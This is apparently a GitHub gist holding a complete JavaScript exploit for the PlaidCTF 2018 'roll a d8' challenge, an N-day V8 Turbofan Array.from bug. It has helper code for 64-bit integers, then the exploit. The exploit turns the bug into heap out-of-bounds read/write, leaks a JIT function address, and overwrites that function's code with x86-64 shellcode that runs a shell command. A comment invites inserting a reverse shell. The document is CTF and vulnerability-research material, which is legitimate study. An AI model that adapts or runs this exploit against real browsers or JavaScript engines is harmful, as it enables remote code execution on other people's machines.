Exploit for the "roll a d8" challenge of PlaidCTF 2018
// | |
// Quick and dirty exploit for the "roll a d8" challenge of PlaidCTF 2018. | |
// N-day exploit for https://chromium.googlesource.com/v8/v8/+/b5da57a06de8791693c248b7aafc734861a3785d | |
// | |
// Scroll down do "BEGIN EXPLOIT" to skip the utility functions. | |
// | |
// Copyright (c) 2018 Samuel Groß | |
// | |
// | |
// Utility functions. | |
// | |
// Return the hexadecimal representation of the given byte. | |
function hex(b) { | |
return ('0' + b.toString(16)).substr(-2); | |
} | |
// Return the hexadecimal representation of the given byte array. | |
function hexlify(bytes) { | |
var res = []; | |
for (var i = 0; i < bytes.length; i++) | |
res.push(hex(bytes[i])); | |
return res.join(''); | |
} | |
// Return the binary data represented by the given hexdecimal string. | |
function unhexlify(hexstr) { | |
if (hexstr.length % 2 == 1) | |
throw new TypeError("Invalid hex string"); | |
var bytes = new Uint8Array(hexstr.length / 2); | |
for (var i = 0; i < hexstr.length; i += 2) | |
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); | |
return bytes; | |
} | |
function hexdump(data) { | |
if (typeof data.BYTES_PER_ELEMENT !== 'undefined') | |
data = Array.from(data); | |
var lines = []; | |
for (var i = 0; i < data.length; i += 16) { | |
var chunk = data.slice(i, i+16); | |
var parts = chunk.map(hex); | |
if (parts.length > 8) | |
parts.splice(8, 0, ' '); | |
lines.push(parts.join(' ')); | |
} | |
return lines.join('\n'); | |
} | |
// Simplified version of the similarly named python module. | |
var Struct = (function() { | |
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations. | |
var buffer = new ArrayBuffer(8); | |
var byteView = new Uint8Array(buffer); | |
var uint32View = new Uint32Array(buffer); | |
var float64View = new Float64Array(buffer); | |
return { | |
pack: function(type, value) { | |
var view = type; // See below | |
view[0] = value; | |
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); | |
}, | |
unpack: function(type, bytes) { | |
if (bytes.length !== type.BYTES_PER_ELEMENT) | |
throw Error("Invalid bytearray"); | |
var view = type; // See below | |
byteView.set(bytes); | |
return view[0]; | |
}, | |
// Available types. | |
int8: byteView, | |
int32: uint32View, | |
float64: float64View | |
}; | |
})(); | |
// | |
// Tiny module that provides big (64bit) integers. | |
// | |
// Copyright (c) 2016 Samuel Groß | |
// | |
// Requires utils.js | |
// | |
// Datatype to represent 64-bit integers. | |
// | |
// Internally, the integer is stored as a Uint8Array in little endian byte order. | |
function Int64(v) { | |
// The underlying byte array. | |
var bytes = new Uint8Array(8); | |
switch (typeof v) { | |
case 'number': | |
v = '0x' + Math.floor(v).toString(16); | |
case 'string': | |
if (v.startsWith('0x')) | |
v = v.substr(2); | |
if (v.length % 2 == 1) | |
v = '0' + v; | |
var bigEndian = unhexlify(v, 8); | |
bytes.set(Array.from(bigEndian).reverse()); | |
break; | |
case 'object': | |
if (v instanceof Int64) { | |
bytes.set(v.bytes()); | |
} else { | |
if (v.length != 8) | |
throw TypeError("Array must have excactly 8 elements."); | |
bytes.set(v); | |
} | |
break; | |
case 'undefined': | |
break; | |
default: | |
throw TypeError("Int64 constructor requires an argument."); | |
} | |
// Return a double whith the same underlying bit representation. | |
this.asDouble = function() { | |
// Check for NaN | |
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) | |
throw new RangeError("Integer can not be represented by a double"); | |
return Struct.unpack(Struct.float64, bytes); | |
}; | |
// Return a javascript value with the same underlying bit representation. | |
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) | |
// due to double conversion constraints. | |
this.asJSValue = function() { | |
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) | |
throw new RangeError("Integer can not be represented by a JSValue"); | |
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. | |
this.assignSub(this, 0x1000000000000); | |
var res = Struct.unpack(Struct.float64, bytes); | |
this.assignAdd(this, 0x1000000000000); | |
return res; | |
}; | |
// Return the underlying bytes of this number as array. | |
this.bytes = function() { | |
return Array.from(bytes); | |
}; | |
// Return the byte at the given index. | |
this.byteAt = function(i) { | |
return bytes[i]; | |
}; | |
// Return the value of this number as unsigned hex string. | |
this.toString = function() { | |
return '0x' + hexlify(Array.from(bytes).reverse()); | |
}; | |
// Basic arithmetic. | |
// These functions assign the result of the computation to their 'this' object. | |
// Decorator for Int64 instance operations. Takes care | |
// of converting arguments to Int64 instances if required. | |
function operation(f, nargs) { | |
return function() { | |
if (arguments.length != nargs) | |
throw Error("Not enough arguments for function " + f.name); | |
for (var i = 0; i < arguments.length; i++) | |
if (!(arguments[i] instanceof Int64)) | |
arguments[i] = new Int64(arguments[i]); | |
return f.apply(this, arguments); | |
}; | |
} | |
// this = -n (two's complement) | |
this.assignNeg = operation(function neg(n) { | |
for (var i = 0; i < 8; i++) | |
bytes[i] = ~n.byteAt(i); | |
return this.assignAdd(this, Int64.One); | |
}, 1); | |
// this = a + b | |
this.assignAdd = operation(function add(a, b) { | |
var carry = 0; | |
for (var i = 0; i < 8; i++) { | |
var cur = a.byteAt(i) + b.byteAt(i) + carry; | |
carry = cur > 0xff | 0; | |
bytes[i] = cur; | |
} | |
return this; | |
}, 2); | |
// this = a - b | |
this.assignSub = operation(function sub(a, b) { | |
var carry = 0; | |
for (var i = 0; i < 8; i++) { | |
var cur = a.byteAt(i) - b.byteAt(i) - carry; | |
carry = cur < 0 | 0; | |
bytes[i] = cur; | |
} | |
return this; | |
}, 2); | |
} | |
// Constructs a new Int64 instance with the same bit representation as the provided double. | |
Int64.fromDouble = function(d) { | |
var bytes = Struct.pack(Struct.float64, d); | |
return new Int64(bytes); | |
}; | |
// Convenience functions. These allocate a new Int64 to hold the result. | |
// Return -n (two's complement) | |
function Neg(n) { | |
return (new Int64()).assignNeg(n); | |
} | |
// Return a + b | |
function Add(a, b) { | |
return (new Int64()).assignAdd(a, b); | |
} | |
// Return a - b | |
function Sub(a, b) { | |
return (new Int64()).assignSub(a, b); | |
} | |
// Some commonly used numbers. | |
Int64.Zero = new Int64(0); | |
Int64.One = new Int64(1); | |
// | |
// | |
// BEGIN EXPLOIT | |
// | |
// | |
// Insert your reverse shell here | |
var cmd = "echo pwned;"; | |
// Function that we will later overwrite the JIT code of | |
function run_shellcode(x) { | |
// Something to keep turbofan from inlining this function | |
// (Might not be required, just to be safe...) | |
for (var i = 2; i < x / 2; i++) { | |
if (x % i == 0) | |
return false; | |
} | |
return true; | |
} | |
// Force JIT compiliation | |
for (var i = 0; i < 1000; i++) | |
run_shellcode(i); | |
var bufs = []; | |
var objs = []; | |
// Trigger the bug | |
// | |
// PoC copied from the crashing testcase: | |
// https://chromium.googlesource.com/v8/v8/+/b5da57a06de8791693c248b7aafc734861a3785d | |
// | |
// Bug: The Turbofan builtin for Array.from does SetLength on the result array | |
// (which in this case is |oobArray|, due to the custom |this| value for the | |
// function call) after iterating the argument is done. It does not check if | |
// the array has been resized in between though, thus setting the length to | |
// |maxSize| while the underlying memory buffer is now only ~10 elements | |
// large. This gives us a relative OOB memory read/write into the v8 heap. | |
// make |oobArray| an unboxed double array so we can conveniently read and write memory. | |
let oobArray = [0.0,1.1,2.2,3.3,4.4]; | |
let maxSize = 1028 * 8; | |
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( | |
{ | |
counter : 0, | |
next() { | |
let result = this.counter++ + 0.1; | |
if (this.counter > maxSize) { | |
// Don't resize to 0 elements so the backing buffer is reallocated | |
// to some memory region where we can place other objects. | |
oobArray.length = 10; | |
// |oobArray| has now been resized. Allocate some objects that will | |
// hopefully land behind it. In particular, allocate ArrayBuffers that | |
// we can corrupt and some plain objects to leak the address of our | |
// |run_shellcode| function. | |
for (var i = 0; i < 100; i++) { | |
bufs.push(new ArrayBuffer(0x4141)); | |
objs.push({a: 0x42424242, b: run_shellcode, c: 0x43434343}); | |
} | |
return {done: true}; | |
} else { | |
return {value: result, done: false}; | |
} | |
} | |
} | |
) }); | |
// Search for our objects in memory | |
// | |
// We can now read and write memory (as double values, since |oobArray| is an | |
// unboxed double array) behind the backing buffer of |oobArray|. Hopefully by | |
// now some of our allocated objects will be in that memory region. We can | |
// recognize the ArrayBuffers by their length (0x4141) and the plain objects | |
// from the inline properties (0x42424242 and 0x43434343) | |
// | |
// The ArrayBuffers look like this in memory: | |
// | |
// 0x00002f5246603d31 <- Map pointer | |
// 0x000012c543082251 <- OOL Properties (empty fixed array) | |
// 0x000012c543082251 <- JS Elements (unused, empty fixed array) | |
// 0x0000414100000000 <- Size as SMI | |
// 0x000055f399d4ec40 <- Pointer to backing buffer (we want to corrupt this later) | |
// 0x000055f399d4ec40 <- Again | |
// 0x0000000000004141 <- Size as native integer | |
// | |
// While the plain objects look like this: | |
// | |
// 0x00002f524660ae51 <- Map pointer | |
// 0x000012c543082251 <- OOL Properties (empty fixed array) | |
// 0x000012c543082251 <- JS Elements (empty fixed array) | |
// 0x4242424200000000 <- Inline property |a| | |
// 0x00002d6968926b39 <- Inline property |b| (this is the pointer to |run_shellcode|) | |
// 0x4343434300000000 <- Inline property |c| | |
var idx = -1; | |
var buffer = null; | |
var funcAddr = null; | |
var cmdAddr = null; | |
for (var i = 0; i < oobArray.length; i++) { | |
var v = Int64.fromDouble(oobArray[i]); | |
if (v.toString() == "0x4242424200000000") { | |
funcAddr = Sub(Int64.fromDouble(oobArray[i+1]), 1); | |
break; | |
} | |
} | |
for (var i = 0; i < oobArray.length; i++) { | |
var v = Int64.fromDouble(oobArray[i]); | |
if (v.toString() == "0x0000414100000000") { | |
idx = i; | |
// Hold on to the original address, we'll copy our shell command there | |
cmdAddr = Sub(Int64.fromDouble(oobArray[i+1]), 0); | |
// Mark the ArrayBuffer (by changing its length) so we know which one we are corrupting | |
oobArray[i] = (new Int64("0x0000424200000000")).asDouble(); | |
oobArray[i+3] = (new Int64("0x0000000000004242")).asDouble(); | |
break; | |
} | |
} | |
// Find the ArrayBuffer that we are able to corrupt | |
for (var i = 0; i < bufs.length; i++) { | |
var ab = bufs[i]; | |
if (ab.byteLength == 0x4242) { | |
buffer = ab; | |
break; | |
} | |
} | |
// Check if we succeeded | |
if (buffer == null || funcAddr == null || cmdAddr == null) | |
throw "Could not find objects in memory :("; | |
// Copy our shell command to a known address (the backing buffer of the | |
// ArrayBuffer we found in memory) | |
var cmdBuf = new Uint8Array(buffer, 0, 100); | |
cmdBuf.set(Array.from(cmd).map((c) => c.charCodeAt(0))); | |
// For convenience, a memory read/write object | |
// | |
// Note: for our read/write we simply modify the pointer to the backing buffer | |
// of our choosen ArrayBuffer instance via the |oobArray| and then access that | |
// memory via a typed array view on the corrupted ArrayBuffer. This is likely | |
// going to break/crash once GC runs (it's moving stuff around in memory) but | |
// is fine for a CTF exploit :) | |
// | |
// We could make this stable by first allocating two ArrayBuffers, running GC a | |
// few times to move them to their final address in OldSpace, then leaking their | |
// addresses like we do here with |run_shellcode| and corrupting one of them | |
// so its backing buffer now points to the other ArrayBuffer. | |
var memory = { | |
read8(addr) { | |
oobArray[idx+1] = addr.asDouble(); | |
var v = new Float64Array(buffer, 0, 8); | |
return Int64.fromDouble(v[0]); | |
}, | |
read(addr, len) { | |
oobArray[idx+1] = addr.asDouble(); | |
var v = new Uint8Array(buffer, 0, len); | |
return Array.from(v); | |
}, | |
write(addr, val) { | |
oobArray[idx+1] = addr.asDouble(); | |
var v = new Uint8Array(buffer); | |
v.set(val); | |
} | |
}; | |
// Standard stuff: leak the pointer to the JIT code for |run_shellcode| and | |
// write our own code there. Then call |run_shellcode| | |
var codeAddr = memory.read8(Add(funcAddr, 48)); | |
var jitCodeAddr = Add(codeAddr, 95); | |
// Essentially `system(cmd);` | |
var shellcode = [].concat( | |
[72,49,210,72,184,47,98,105,110,47,115,104,0,80,72,137,231,184,45,99,0,0,80,72,137,225,72,184], | |
Array.from(cmdAddr.bytes()), | |
[82,80,81,87,72,137,230,184,59,0,0,0,15,5] | |
); | |
memory.write(jitCodeAddr, shellcode); | |
run_shellcode(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment